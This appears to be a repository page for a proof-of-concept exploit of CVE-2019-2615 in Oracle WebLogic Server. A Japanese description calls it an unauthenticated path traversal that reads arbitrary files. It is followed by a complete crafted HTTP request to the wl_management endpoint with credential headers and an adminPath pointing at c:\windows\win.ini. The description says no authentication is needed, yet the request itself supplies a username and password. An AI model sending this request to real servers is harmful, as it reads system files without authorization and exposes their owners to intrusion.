chiaifan/cve-2019-2615Oracle WebLogic Serverを標的としたCVE-2019-2615の概念実証エクスプロイト。細工されたHTTPリクエストを介した認証なしのパストラバーサルを実証し、任意のファイルを読み取ります。
GET /bea_wls_management_internal2/wl_management HTTP/1.1
Host: 192.168.5.137:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
username:weblogic
password:admin123456
wl_request_type:wl_jsp_refresh_request
adminPath:c:\windows\win.ini
Upgrade-Insecure-Requests: 1
